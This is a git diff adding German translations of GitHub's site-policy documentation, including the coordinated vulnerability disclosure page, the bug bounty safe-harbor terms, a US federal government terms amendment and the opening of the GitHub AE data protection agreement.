+  - We require our employees to respect our privacy promises, and violation of our privacy policies is subject to disciplinary action up to and including termination of employment.
+
+
+### Dispute resolution process
+
+As further explained in the [Resolving Complaints](/github/site-policy/github-privacy-statement#resolving-complaints) section of our [Privacy Statement](/github/site-policy/github-privacy-statement), we encourage you to contact us should you have a Privacy Shield-related (or general privacy-related) complaint. For any complaints that cannot be resolved with GitHub directly, we have selected to cooperate with the relevant EU Data Protection Authority, or a panel established by the European data protection authorities, for resolving disputes with EU individuals, and with the Swiss Federal Data Protection and Information Commissioner (FDPIC) for resolving disputes with Swiss individuals. Please contact us if you’d like us to direct you to your data protection authority contacts.
+
+Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority.
+
+### Independent arbitration
+
+Under certain limited circumstances, EU, European Economic Area (EEA), Swiss, and UK individuals may invoke binding Privacy Shield arbitration as a last resort if all other forms of dispute resolution have been unsuccessful. To learn more about this method of resolution and its availability to you, please read more about [Privacy Shield](https://www.privacyshield.gov/article?id=ANNEX-I-introduction). Arbitration is not mandatory; it is a tool you can use if you so choose.
+
+We are subject to the jurisdiction of the US Federal Trade Commission (FTC).
+  
+Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
diff --git a/translations/de-DE/content/site-policy/privacy-policies/index.md b/translations/de-DE/content/site-policy/privacy-policies/index.md
new file mode 100644
index 0000000000..4159250bfc
--- /dev/null
+++ b/translations/de-DE/content/site-policy/privacy-policies/index.md
@@ -0,0 +1,21 @@
+---
+title: Datenschutzrichtlinien
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+children:
+  - /github-privacy-statement
+  - /global-privacy-practices
+  - /github-subprocessors-and-cookies
+  - /github-codespaces-privacy-statement
+  - /github-candidate-privacy-policy
+ms.openlocfilehash: 4c10c47e44eca61e42528fef7c90d010fd8196f0
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099150'
+---
+
diff --git a/translations/de-DE/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md b/translations/de-DE/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md
new file mode 100644
index 0000000000..fb48a0e25e
--- /dev/null
+++ b/translations/de-DE/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md
@@ -0,0 +1,27 @@
+---
+title: Koordinierte Offenlegung von Sicherheitslücken
+redirect_from:
+  - /responsible-disclosure
+  - /coordinated-disclosure
+  - /articles/responsible-disclosure-of-security-vulnerabilities
+  - /github/site-policy/responsible-disclosure-of-security-vulnerabilities
+  - /github/site-policy/coordinated-disclosure-of-security-vulnerabilities
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 683d537689865a557cf9b52315341bb10be82bfc
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556633'
+---
+Wir möchten, dass GitHub für alle sicher ist und bleibt. Wenn Sie eine Sicherheitslücke bei GitHub entdeckt haben, würden wir uns über Ihre Unterstützung freuen, indem Sie uns diese auf koordinierte Weise mitteilen.
+
+## Bounty-Programm
+
+Wie mehrere andere große Softwareunternehmen bietet GitHub eine Prämie für Fehler (Bug Bounty), um besser mit Sicherheitsexperten in Kontakt zu treten. Die Idee ist einfach: Hacker und Sicherheitsexperten (wie Sie) finden und melden Schwachstellen durch unseren koordinierten Offenlegungsprozess. Um den erheblichen Aufwand zu würdigen, den diese Experten oft bei der Suche nach Fehlern betreiben, belohnen wir sie mit ein wenig Bargeld.
+
+Auf der [GitHub Bug Bounty](https://bounty.github.com)-Seite sind ausführlichere Angaben zu finden. Außerdem sollten Sie sich auch die umfassende [Richtlinie zum Safe-Harbor-Verfahren](/articles/github-bug-bounty-program-legal-safe-harbor) durchlesen. Viel Glück bei der Jagd nach Sicherheitslücken!
diff --git a/translations/de-DE/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md b/translations/de-DE/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md
new file mode 100644
index 0000000000..8c8d9c0573
--- /dev/null
+++ b/translations/de-DE/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md
@@ -0,0 +1,42 @@
+---
+title: GitHub Bug-Bounty-Programm – Safe-Harbor-Verfahren
+redirect_from:
+  - /articles/github-bug-bounty-program-legal-safe-harbor
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: e44ea086e183f7d7f6577876ce6aa3b76fd47152
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556586'
+---
+## Zusammenfassung
+1. Wir möchten, dass Sie im Rahmen unseres Bug-Bounty-Programms Themen Sicherheitslücken auf koordinierte Weise offenlegen, und wollen vermeiden, dass Forscher wegen ihrer Versuche, unsere Bug-Bounty-Richtlinie einzuhalten, rechtliche Konsequenzen fürchten müssen. Wir können Dritte nicht binden. Gehen Sie daher nicht davon aus, dass sich dieser Schutz auf Dritte erstreckt. Fragen Sie uns im Zweifelsfall, bevor Sie eine bestimmte Aktion durchführen, von der Sie denken, dass sie außerhalb der Grenzen unserer Richtlinien liegen _könnte_.
+2. Da sowohl personenbezogene als auch nicht personenbezogene Daten einen Forscher gefährden können, geben wir Inhalte an Dritte nur in beschränktem Umfang weiter. Gegebenenfalls geben wir nicht personenbezogene wesentliche Informationen aus Ihrem Bericht an betroffene Dritte weiter, jedoch nur, nachdem wir Sie darüber informiert und uns verpflichtet haben, dass diese Dritten keine rechtlichen Schritte gegen Sie einleiten werden. Wir geben personenbezogene Daten (Name, E-Mail-Adresse, Telefonnummer usw.) nur mit Ihrer schriftlichen Zustimmung an Dritte weiter.
+3. Wenn Ihre Sicherheitsforschung im Rahmen des Bug-Bounty-Programms gegen bestimmte Einschränkungen unserer Standortregeln verstößt, erlauben die Safe-Harbor-Bedingungen eine begrenzte Ausnahme.
+
+## 1. Safe-Harbor-Bedingungen
+
+Um die Erforschung und koordinierte Offenlegung von Sicherheitslücken zu fördern, werden wir wegen unbeabsichtigter oder gutgläubiger Verstöße gegen diese Richtlinie keine zivil- oder strafrechtlichen Schritte unternehmen und keine Strafverfolgung einleiten. Wir betrachten Aktivitäten im Bereich der Sicherheitsforschung und Aufdeckung von Schwachstellen, die im Einklang mit dieser Richtlinie durchgeführt werden, als „autorisiertes” Verhalten gemäß dem Computer Fraud and Abuse Act, dem Digital Millennium Copyright Act (DMCA) und anderen anwendbaren Gesetzen für die Nutzung von Computern wie dem Cal. Penal Code 502(c). Wir verzichten auf jeden potenziellen Anspruch im Sinne des Digital Millennium Copyright Act gegen Sie, der darauf begründet sein könnte, dass Sie die technologischen Maßnahmen, die wir zum Schutz der Anwendungen im Rahmen dieses Bug-Bounty-Programms eingesetzt haben, umgehen.
+
+Wenn Ihre Sicherheitsforschung die Netzwerke, Systeme, Informationen, Anwendungen, Produkte oder Dienstleistungen eines Dritten betrifft, seien Sie sich darüber bewusst, dass wir solche Dritten nicht an unsere Bestimmungen binden können, und solche Dritten gegebenenfalls rechtliche Schritte einleiten oder Hinweise an die Strafverfolgungsbehörden geben können. Wir können und werden keine Sicherheitsforschung im Namen anderer juristischer Personen genehmigen und können Sie in keiner Weise verteidigen, freistellen oder anderweitig vor Handlungen Dritter schützen, die durch Ihre Handlungen verursacht wurden.
+
+Von Ihnen wird wie immer erwartet, dass Sie alle für Sie geltenden Gesetze einhalten und keine Daten stören oder gefährden, die über das hinausgehen, was dieses Bug-Bounty-Programm erlaubt.
+
+Bitte wenden Sie sich zunächst an uns, bevor Sie eine Aktivität durchführen, die mit dieser Richtlinie unvereinbar ist oder darin nicht thematisiert wird. Wir behalten uns das alleinige Recht vor, zu entscheiden, ob ein Verstoß gegen diese Richtlinie versehentlich oder in gutem Glauben begangen wurde, und eine proaktive Kontaktaufnahme mit uns, bevor wir Maßnahmen ergreifen, spielt bei dieser Entscheidung eine wesentliche Rolle. Fragen Sie im Zweifelsfall nach!
+
+## 2. Safe-Harbor-Verfahren in Bezug auf Dritte
+
+Wenn Sie einen Bericht über unser Bug-Bounty-Programm einreichen, der einen Drittanbieter-Dienst betrifft, werden wir die Weitergabe von Informationen an betroffene Drittanbieter einschränken. Wir können nicht personenbezogene Inhalte aus Ihrem Bericht an einen betroffenen Dritten weitergeben, jedoch erst, nachdem wir Sie darüber informiert haben und der Dritte sich schriftlich verpflichtet hat, auf der Grundlage Ihres Berichts keine rechtlichen Schritte gegen Sie einzuleiten oder Kontakt mit den Strafverfolgungsbehörden aufzunehmen. Wir geben Ihre personenbezogenen Daten nicht an betroffene Dritte weiter, ohne vorher Ihre schriftliche Zustimmung einzuholen.
+
+Bitte beachten Sie, dass wir keine außerplanmäßigen Tests im Namen Dritter zulassen können und diese Tests den Rahmen unserer Richtlinien sprengen. Ziehen Sie die Bug-Bounty-Richtlinie des jeweiligen Drittanbieters zu Rate, wenn er über eine solche verfügt, oder wenden Sie sich direkt oder über einen rechtlichen Vertreter an den Drittanbieter, bevor Sie Tests in Bezug auf diesen Drittanbieter oder seine Dienste durchführen. Dies stellt keine Zustimmung unsererseits dar, Sie hinsichtlich Klagen Dritter, die auf Ihren Handlungen beruhen, zu verteidigen, freizustellen oder in sonstiger Weise zu schützen, und darf nicht als eine solche Zustimmung verstanden werden.
+
+Wenn ein Dritter, einschließlich der Strafverfolgungsbehörden, aufgrund Ihrer Teilnahme an diesem Bug-Bounty-Programm rechtliche Schritte gegen Sie einleitet, Sie unsere Bug-Bounty-Richtlinie jedoch ausreichend befolgt haben (d. h. keine vorsätzlichen oder böswilligen Verstöße begangen haben), so werden wir Schritte unternehmen, um bekanntzumachen, dass Ihre Handlungen in Übereinstimmung mit dieser Richtlinie durchgeführt wurden. Obwohl wir die eingereichten Berichte sowohl als vertrauliche als auch als potenziell rechtlich geschützte Dokumente betrachten, die in den meisten Fällen vor einer erzwungenen Offenlegung geschützt sind, beachten Sie bitte, dass ein Gericht uns trotz unserer Einwände anweisen könnte, Daten an Dritte weiterzugeben.
+
+## 3. Eingeschränkte Verzichtserklärung in Bezug auf andere Standortrichtlinien
+
+Soweit Ihre Sicherheitsforschungsaktivitäten mit bestimmten Einschränkungen in unseren [jeweiligen Standortrichtlinien](/categories/site-policy/) unvereinbar sind, aber im Einklang mit den Bestimmungen unseres Bug-Bounty-Programms stehen, verzichten wir auf diese Einschränkungen, um Ihre Sicherheitsforschung im Rahmen dieses Bug-Bounty-Programms zu ermöglichen. Wie oben gilt: Fragen Sie im Zweifelsfall nach!
diff --git a/translations/de-DE/content/site-policy/security-policies/index.md b/translations/de-DE/content/site-policy/security-policies/index.md
new file mode 100644
index 0000000000..1d2effef3c
--- /dev/null
+++ b/translations/de-DE/content/site-policy/security-policies/index.md
@@ -0,0 +1,18 @@
+---
+title: Sicherheitsrichtlinien
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+children:
+  - /coordinated-disclosure-of-security-vulnerabilities
+  - /github-bug-bounty-program-legal-safe-harbor
+ms.openlocfilehash: 8aedcd1293c6367ec2edf748e5a80e4e6e17a56a
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556637'
+---
+
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md b/translations/de-DE/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md
new file mode 100644
index 0000000000..75c0ae8d58
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users.md
@@ -0,0 +1,76 @@
+---
+title: 'Zusatzvereinbarung zu den GitHub-Vertragsbedingungen, die für Benutzer der US-Bundesregierung gelten'
+hidden: true
+redirect_from:
+  - /articles/amendment-to-github-terms-of-service-applicable-to-government-users
+  - /articles/proposed-amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users
+  - /articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users
+  - /articles/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users
+  - /github/site-policy/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users
+  - /github/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users
+versions:
+  fpt: '*'
+ms.openlocfilehash: 12a1b06a16157e7cf0e5ff8f32a20e6c9201cf8c
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099286'
+---
+_Diese Bedingungen gelten für Kunden, die die Produkte vor dem 4. Januar 2021 lizenziert haben. Kunden, die GitHub-Produkte nach diesem Datum erwerben, werden zu den aktuellen Bestimmungen unter https://www.github.com/enterprise-legal weitergeleitet._
+
+{% tip %}
+
+Diese Zusatzvereinbarung zu den GitHub-[Vertragsbedingungen](/articles/github-terms-of-service) gilt nur für Benutzer, die GitHub im Namen der US-Bundesregierung verwenden. Wenn Sie GitHub nicht im Namen der US-Bundesregierung verwenden, gelten für Sie die standardmäßigen [GitHub-Vertragsbedingungen](/articles/github-terms-of-service).
+
+{% endtip %}
+
+Diese Zusatzvereinbarung ist eine Vereinbarung zwischen GitHub, Inc. („GitHub“ oder „Unternehmen“) und Benutzern der Website GitHub.com (der „Dienst“) durch die US-Bundesregierung und gilt ausschließlich für jede US-Bundesbehörde und ihre Benutzer, die den Dienst im Namen der US-Bundesregierung (die „Regierung“) nutzen oder auf ihn zugreifen.
+
+Sie sind als Verwaltungseinrichtung der USA verpflichtet, beim Abschluss von Vereinbarungen mit anderen Parteien die geltenden Bundesgesetze und -verordnungen zu befolgen, einschließlich jener im Zusammenhang mit Ethik, Datenschutz und Sicherheit, Datenzugriff, Datenspeicherung, Haftungsbeschränkungen, steuerrechtlichen Beschränkungen, Werbung und Empfehlungen, Informationsfreiheit sowie dem Forum zur Regelung von Gesetzen und zur Streitbeilegung.
+
+GitHub und Sie (die „Parteien“) stimmen überein, dass Änderungen der [GitHub-Vertragsbedingungen](/articles/github-terms-of-service) (die „Vertragsbedingungen“) Ihren rechtlichen Status, Ihren öffentlichen (im Gegensatz zum privaten) Auftrag und andere besondere Umstände berücksichtigen. Die Vertragsbedingungen werden hiermit durch diese Zusatzvereinbarung geändert, soweit sie sich auf die Nutzung der Website und Dienstleistungen des Unternehmens durch die Regierung beziehen:
+
+## A. Öffentlicher Zweck
+
+1. *Verwaltungseinrichtung:* „Sie“ bedeutet innerhalb der Vertragsbedingungen die Regierung selbst und nicht die Einzelperson(en), die die Website oder Dienstleistungen des Unternehmens im Namen der Regierung in Anspruch nimmt (nehmen). Das Unternehmen wird sich ausschließlich an die Regierung wenden, um jegliche Verletzung der oder Verstöße gegen die Vertragsbedingungen durch solche Personen im Rahmen der Bundesgesetze zu verfolgen.
+
+2. *Werbung:* Das Unternehmen erklärt sich damit einverstanden, keine Werbung oder Bewerbung von Drittanbietern auf Seiten innerhalb der Website des Unternehmens, die von der Regierung erstellte oder unter deren Kontrolle stehende Inhalte anzeigen, zu schalten oder anzuzeigen. Dieser Ausschluss erstreckt sich nicht auf firmeneigene Anzeigen, die das Unternehmen auf solchen Seiten in einer nicht aufdringlichen Weise schalten kann. Die vorstehenden Verpflichtungen unterliegen der Bedingung, dass die auf der Seite mit Ihren Kontodetails angegebene E-Mail-Adresse mit `.gov`, `.mil` oder `.fed.us` endet.
+
+## B. Ihre Inhalte auf GitHub
+
+1. *Zugriff und Nutzung:* Das Unternehmen ist sich bewusst, dass die Nutzung des Diensts durch die Regierung zu einem erheblichen bürgerlichen Interesse führen kann. Der Wortlaut der Vertragsbedingungen, wonach das Unternehmen jederzeit und aus beliebigen Gründen den Dienst beenden, Inhalte ablehnen oder entfernen oder das Konto der Regierung schließen kann, wird geändert, um die Vereinbarung der Parteien widerzuspiegeln, dass das Unternehmen lediglich bei Verletzung der Verpflichtungen seitens der Regierung im Rahmen der Vertragsbedingungen oder bei wesentlicher Nichteinhaltung der im Dienst veröffentlichten Anweisungen und Richtlinien bzw. bei Einstellung des allgemeinen Betriebs des Diensts durch das Unternehmen den Dienst vorläufig oder dauerhaft eigenmächtig ändern oder einstellen, Inhalte ablehnen oder entfernen bzw. das Konto der Regierung kündigen kann. Das Unternehmen muss der Regierung eine angemessene Gelegenheit zur Behebung eines Verstoßes oder Versäumnisses seitens der Regierung bieten.
+
+2. *Keine Empfehlungen:* Das Unternehmen erklärt sich damit einverstanden, dass Ihre Siegel, Marken, Logos, Dienstleistungsmarken, Handelsnamen und die Tatsache, dass Sie auf der Website des Unternehmens präsent sind und seine Dienstleistungen nutzen, vom Unternehmen nicht in einer Weise verwendet werden, die angibt oder impliziert, dass die Produkte oder Dienstleistungen des Unternehmens von Ihnen oder irgendeiner anderen Stelle der Bundesbehörde unterstützt, gesponsert oder empfohlen werden, oder von diesen Stellen als besser als andere Produkte oder Dienstleistungen angesehen werden. Mit Ausnahme von Seiten, deren Design und Inhalt unter der Kontrolle der Regierung stehen, oder von Links zu oder von Aktionen auf solchen Seiten, stimmt das Unternehmen zu, keine staatlichen Siegel oder Logos auf der Homepage des Unternehmens oder an anderer Stelle auf der Website des Unternehmens anzuzeigen, es sei denn, die Regierung oder eine andere zuständige Behörde der Bundesregierung hat die Genehmigung dazu erteilt. Das Unternehmen kann den Namen der Regierung in einer öffentlich zugänglichen Kundenliste auflisten, solange der Name nicht auffälliger als der eines anderen Drittanbieternamens angezeigt wird.
+
+3. *Bereitstellung von Daten:* Im Falle einer Beendigung des Diensts wird das Unternehmen Ihnen auf Anfrage innerhalb von 30 Tagen nach einer solchen Beendigung alle benutzergenerierten Inhalte bereitstellen, die über die von Ihnen beim Unternehmen erstellten Websites öffentlich sichtbar sind. Die Daten werden in einem gängigen Datei- oder Datenbankformat zur Verfügung gestellt, das vom Unternehmen als angemessen erachtet wird. Das Unternehmen stellt keine Daten zur Verfügung, wenn dies gegen seine Datenschutzrichtlinie verstoßen würde, die unter [https://docs.github.com/privacy](/privacy) eingesehen werden kann.
+
+## C. Kostenlose und kostenpflichtige Pläne
+
+1. *Keine Kostenvereinbarung:* Diese Zusatzvereinbarung und die Vertragsbedingungen verpflichten Sie in keiner Weise dazu, Ausgaben zu tätigen oder finanzielle Verpflichtungen einzugehen. Die Vertragsparteien erkennen an und stimmen zu, dass keine der sich aus dieser Zusatzvereinbarung oder den Vertragsbedingungen ergebenden Verpflichtungen von der Zahlung von Gebühren durch eine Partei an die andere abhängig ist. GitHub kann nach eigenem Ermessen des Unternehmens ein kostenloses Konto im Rahmen eines kostenlosen Nutzungsplans, wie z. B. einem Free for Open Source Plan, anbieten, und in diesem Fall bezieht sich diese Zusatzvereinbarung auf die Nutzung durch die Regierung im Rahmen des kostenlosen Kontos/Plans. Diese Zusatzvereinbarung gilt auch, wenn die Regierung einen der kostenpflichtigen Nutzungspläne von GitHub verwendet.
+
+2. *Verantwortlichkeiten der Regierung im Rahmen von kostenpflichtigen Nutzungsplänen:* Sie erkennen an, dass das Unternehmen Ihnen zwar Dienstleistungen im Rahmen eines kostenlosen Plans zur Verfügung stellt, sich jedoch das Recht vorbehält, für diesen Dienst irgendwann in der Zukunft Gebühren zu erheben. Das Unternehmen wird Sie mindestens 30 Tage im Voraus über Änderungen informieren, die mit der Erhebung von Gebühren für einen kostenlosen Dienst verbunden sind. Sie nehmen ferner zur Kenntnis, dass das Unternehmen kostenpflichtige Pläne gegen eine Gebühr anbietet. Die Parteien sind sich darüber im Klaren, dass kostenpflichtige Dienste sich kategorisch von kostenlosen Produkten unterscheiden und den Beschaffungsregeln und -verfahren der Bundesbehörden unterliegen. Sie geben Ihr Einverständnis, dass Sie vor dem Beschluss der Regierung, ein Geschäfts- oder Unternehmensabonnement oder einen anderen von diesem Unternehmen oder einem alternativen Anbieter jetzt oder in der Zukunft angebotenen gebührenpflichtigen Dienst abzuschließen, folgende Bedingungen erfüllen: zu prüfen, ob die Regierung Bedarf an diesen zusätzlichen kostenpflichtigen Diensten hat; den Wert des Abonnements im Vergleich zu vergleichbaren Diensten, die anderswo verfügbar sind, zu berücksichtigen; zu prüfen, ob staatliche Gelder zur Zahlung verfügbar sind; die Government Purchase Card ordnungsgemäß zu verwenden, wenn diese Karte als Zahlungsmethode verwendet wird; alle zu diesem Zeitpunkt anwendbaren Vertragsbedingungen auf Übereinstimmung mit den Bundesbeschaffungsgesetzen zu überprüfen; und in jeder anderen Hinsicht die anwendbaren Bundesbeschaffungsgesetze, Vorschriften und Richtlinien der Behörde (einschließlich solcher im Zusammenhang mit Zahlungen) zu befolgen, wenn diese gesonderte Maßnahme getroffen wird.
+
+3. *Es entsteht keine Geschäftsbeziehung:* Die Parteien sind unabhängige Entitäten und es wird durch keine in dieser Zusatzvereinbarung oder in den Vertragsbedingungen enthaltenen Bestimmungen eine Agentur, Partnerschaft, ein Joint-Venture oder eine Arbeitgeber-Arbeitnehmer-Beziehung geschaffen.
+
+## D: Bundesverordnungen
+
+1. *Sicherheit:* Das Unternehmen verpflichtet sich, nach Treu und Glauben unter Anwendung allgemein anerkannter betrieblicher Methoden hinsichtlich der IT-Sicherheit die gebührende Sorgfalt walten zu lassen, um sicherzustellen, dass die Systeme auf sichere Weise betrieben und gewartet werden und dass Management-, Betriebs- und technische Kontrollen eingesetzt werden, um die Sicherheit der Systeme und Daten zu gewährleisten. Das Unternehmen ist sich der sich ständig verändernden Natur des Internets bewusst und wird kontinuierlich mit den Benutzern an der Gewährleistung eines sicheren Betriebs und einer sicheren Wartung seiner Produkte und Dienstleistungen arbeiten. Das Unternehmen erklärt sich bereit, die Implementierung zusätzlicher Sicherheitskontrollen zu erörtern, die von der Regierung als notwendig erachtet werden, um die Anforderungen des Federal Information Security Management Act (FISMA), 44 U.S.C. 3541 ff. zu erfüllen.
+
+2. *Unterlagen der Bundesbehörden:* Die Regierung erkennt an, dass die Nutzung der Website und Dienste des Unternehmens die Verwaltung von Unterlagen der Bundesbehörden erfordern kann. Von der Regierung und von Benutzern generierte Inhalte unterliegen möglicherweise der von der Behörde festgelegten Definition für Unterlagen von Bundesbehörden. Wenn das Unternehmen über Unterlagen von Bundesbehörden verfügt, müssen die Regierung und das Unternehmen diese Unterlagen von Bundesbehörden in Übereinstimmung mit allen anwendbaren Gesetzen und Regelungen für die Verwaltung von Datensätzen verwalten, einschließlich, aber nicht beschränkt auf den Federal Records Act (44 U.S.C. chs. 21, 29, 31, 33) und Verordnungen der National Archives and Records Administration (NARA) unter 36 CFR Kapitel XII Unterkapitel B). Die Verwaltung der Unterlagen beinhaltet, ist aber nicht beschränkt auf die sichere Speicherung, Abrufbarkeit und ordnungsgemäße Bereitstellung aller Unterlagen von Bundesbehörden einschließlich der Übertragung dauerhaft wichtiger Unterlagen an die NARA in einer für die NARA zum Zeitpunkt der Übermittlung akzeptablen Form und Art und Weise. Die Regierung ist dafür verantwortlich, dass das Unternehmen die geltenden Gesetze und Regelungen zur Verwaltung von Unterlagen während der Laufzeit und nach Kündigung der Vereinbarung einhält.
+
+## E. Allgemeine Bedingungen
+
+1. *Schadensersatzansprüche:* Auf alle in den Vertragsbedingungen enthaltenen Bestimmungen bezüglich Entschädigung, Schadenersatz, Anwaltskosten und Vergleich wird hiermit verzichtet. Die Haftung der Regierung für einen Verstoß gegen die Vertragsbedingungen oder diese Vereinbarung oder für Ansprüche, Forderungen, Klagen oder Verfahren, die sich aus den Vertragsbedingungen oder dieser Vereinbarung ergeben, wird durch den Federal Tort Claims Act oder eine andere Regierungsbehörde festgelegt. Die Haftung des Unternehmens für einen Verstoß gegen die Vertragsbedingungen oder diese Vereinbarung oder für Ansprüche, Forderungen, Klagen oder Verfahren, die sich aus den Vertragsbedingungen oder dieser Vereinbarung ergeben, richtet sich nach dem anwendbaren Bundes- oder Landesrecht.
+
+2. *Haftungsbeschränkung:* Die Parteien stimmen überein, dass keine der Klauseln zur Haftungsbeschränkung oder anderer Bestimmungen in den Vertragsbedingungen dem Unternehmen in irgendeiner Weise einen Verzicht, eine Freistellung oder eine Haftungsbeschränkung in Bezug auf eine vergangene, gegenwärtige oder zukünftige Verletzung von Bundesgesetzen gewährt.
+
+3. *Geltendes Recht und Forum:* Die Streitbeilegungsbestimmung in den Vertragsbedingungen wird hiermit gestrichen. Die Vertragsbedingungen und diese Zusatzvereinbarung werden in Übereinstimmung mit den geltenden Bundesgesetzen der Vereinigten Staaten von Amerika geregelt, ausgelegt und durchgesetzt, und die ausschließliche Gerichtsbarkeit liegt bei den zuständigen US-Bundesgerichten. Soweit nach Bundesrecht zulässig, gelten bei Nichtvorliegen eines Bundesgesetzes die Gesetze des Staates Kalifornien.
+
+4. *Abtretung:* Keine Partei darf ihre Verpflichtungen aus dieser Zusatzvereinbarung oder diesen Vertragsbedingungen ohne vorherige schriftliche Zustimmung der anderen Partei an Dritte abtreten. GitHub kann jedoch ohne Zustimmung der Regierung seine Verpflichtungen gegenüber einer Regierung, die den Dienst im Rahmen eines kostenlosen Nutzungsplans gemäß dieser Zusatzvereinbarung oder diesen Vertragsbedingungen nutzt, an ein verbundenes Unternehmen oder an einen Nachfolger oder Käufer im Zusammenhang mit einer Unternehmensverschmelzung, Übernahme, Unternehmensumstrukturierung oder -spaltung oder dem Verkauf aller oder eines Großteils der Vermögenswerte von GitHub abtreten.
+
+## F. Änderungen an dieser Vereinbarung
+
+1. *Vorrang; Weitere Zusatzvereinbarung; Kündigung:* Diese Zusatzvereinbarung stellt eine Änderung der Vertragsbedingungen dar. Formulierungen in den Vertragsbedingungen, die darauf hinweisen, dass diese nicht geändert werden dürfen oder dass sie allein die gesamte Vereinbarung zwischen den Parteien darstellen, werden aufgehoben. Bei Widersprüchen zwischen dieser Zusatzvereinbarung und den Vertragsbedingungen oder zwischen dieser Zusatzvereinbarung und anderen Regeln oder Richtlinien auf der Website oder in den Diensten des Unternehmens hat diese Zusatzvereinbarung Vorrang. Diese Zusatzvereinbarung kann nur nach schriftlicher Zustimmung beider Parteien erneut geändert werden. Die Regierung kann jederzeit ihr Konto schließen und diese Vereinbarung kündigen. Das Unternehmen kann das Konto der Regierung unter Einhaltung einer Kündigungsfrist von 30 Tagen schriftlich auflösen und diese Vereinbarung kündigen, wobei die Regierung jedoch keinen Anspruch auf eine Rückerstattung gezahlter Gebühren hat.
+
+2. *Veröffentlichung und Verfügbarkeit dieser Zusatzvereinbarung:* Die Parteien erklären sich damit einverstanden, dass diese Zusatzvereinbarung keine vertraulichen oder geschützten Informationen enthält und dass jede Partei sie der Öffentlichkeit zugänglich machen kann.
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/github-ae-data-protection-agreement.md b/translations/de-DE/content/site-policy/site-policy-deprecated/github-ae-data-protection-agreement.md
new file mode 100644
index 0000000000..65caa73241
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/github-ae-data-protection-agreement.md
@@ -0,0 +1,407 @@
+---
+title: "GitHub\_AE-Datenschutzvereinbarung"
+hidden: true
+versions:
+  fpt: '*'
+redirect_from:
+  - /github/site-policy/ghem-data-protection-addendum
+  - /github/site-policy/github-ae-data-protection-agreement
+  - /github/site-policy-deprecated/github-ae-data-protection-agreement
+ms.openlocfilehash: 0bfe699e6993892d1eb86aafdb581e942c44a7b1
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099297'
+---
+_Diese Bedingungen gelten für Kunden, die die Produkte vor dem 4. Januar 2021 lizenziert haben. Kunden, die GitHub-Produkte nach diesem Datum erwerben, werden zu den aktuellen Bestimmungen unter https://www.github.com/enterprise-legal weitergeleitet._
+
+## EINFÜHRUNG
+
+Die Parteien vereinbaren, dass die GitHub AE-Datenschutzvereinbarung und der Anhang zur Sicherheit – zusammen die **Datenschutzvereinbarung** (Data Protection Agreement, **DPA**) – die Verpflichtungen hinsichtlich der Verarbeitung und Sicherheit der personenbezogenen Daten von Kundenseite in Verbindung mit GitHub AE (**Onlinedienst**) darstellen. Die in dieser DPA genannten Verpflichtungen von GitHub gelten für alle Kunden, die den Onlinedienst verwenden.
+
+Bei Konflikten oder Widersprüchen zwischen der DPA und anderen Bestimmungen in Vereinbarungen des Kunden mit GitHub („Vereinbarung“) hat die DPA Vorrang. Der Klarheit halber wird festgestellt, dass gemäß Klausel 10 der Standardvertragsklauseln in Anhang 1 die Standardvertragsklauseln Vorrang vor den Bestimmungen in der DPA haben.
+
+## GITHUB-DATENSCHUTZVEREINBARUNG
+
+### 1. Definitionen.
+
+1.1 **Anwendbare Datenschutzgesetze** sind bestimmte Gesetze, Vorschriften, regulatorische Rahmenbedingungen oder andere Gesetze in Bezug auf die Verarbeitung und Nutzung personenbezogener Daten von Kundenseite im Zusammenhang mit der Nutzung der Onlinedienste durch den Kunden. Dies schließt Folgendes ein:
+
+  a. Die EU-Datenschutz-Grundverordnung 2016/679 (**DSGVO**) zusammen mit allen Umsetzungsgesetzen oder entsprechenden gleichwertigen nationalen Gesetzen oder Vorschriften. Und:
+
+  b. Des California Consumer Privacy Act of 2018, Cal. Civ. Code §§1798.100 ff. (**CCPA**).
+
